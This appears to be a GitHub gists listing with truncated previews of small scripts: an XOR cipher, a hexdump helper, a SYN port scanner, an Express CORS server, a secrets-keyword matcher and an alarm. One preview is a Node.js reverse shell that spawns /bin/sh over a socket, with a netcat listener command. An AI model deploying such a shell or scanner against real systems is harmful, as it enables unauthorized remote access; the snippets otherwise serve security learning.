This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
# Simple XOR cipher | |
# U+0A75 | |
def xor_cipher(data, key): | |
for i in range(len(data)): # iterate through the message bytes | |
j = i % len(key) # rotate index of key bytes (modulo) | |
data[i] = data[i] ^ key[j] # xor current data byte with key byte |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
# Console print-out with automatic overwrite of negative results for scan tools and such. | |
# If you have multiple threads producing data, then you would probably need to create a dedicated worker thread for printing, | |
# with maybe a thread-safe queue supplying elements to print. | |
# Alternatively set prev_len to a constant value and truncate lines that are to long | |
# U+0A75 | |
# add padding according to length of last line | |
def print_fluid(text, last_len, ending): | |
print(text + (" " * last_len), end=ending) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
def hexdump(bytes_input, width=16): | |
current = 0 | |
end = len(bytes_input) | |
result = "" | |
while current < end: | |
byte_slice = bytes_input[current : current + width] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Stolen from: https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shell | |
// Nodejs reverse shell | |
// listen with: nc -vlnp 5555 | |
// adjust the ip address obviously | |
(function(){ | |
var net = require("net"), | |
cp = require("child_process"), | |
sh = cp.spawn("/bin/sh", []); | |
var client = new net.Socket(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
# U+0A75 | |
# sudo python3 syn_scan.py 127.0.0.1 | |
import threading | |
from socket import * | |
import sys | |
if len(sys.argv) < 2: | |
print("ip param required") | |
sys.exit(1) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var express = require('express'); | |
var cors = require('cors'); | |
var app = express(); | |
// sudo apt install nodejs | |
// npm install express cors | |
// nodejs server.js | |
const PORT = 8888; | |
app.use(cors()); // Equivalent to Cors Allow Origin wildcard "*" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
# pip3 install pyahocorasick | |
# Matching time: Θ(n + o) with n being length of the haystack, o being the number of occurrences | |
import ahocorasick | |
wordlist = [ | |
"password", | |
"secret", | |
"privatekey", | |
"private_key", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import time | |
import sys | |
import math | |
import winsound | |
alarm_frequency = 1000 # Hertz | |
alarm_duration = 80 # ms | |
alarm_ascii = ''' | |
RING RING RING |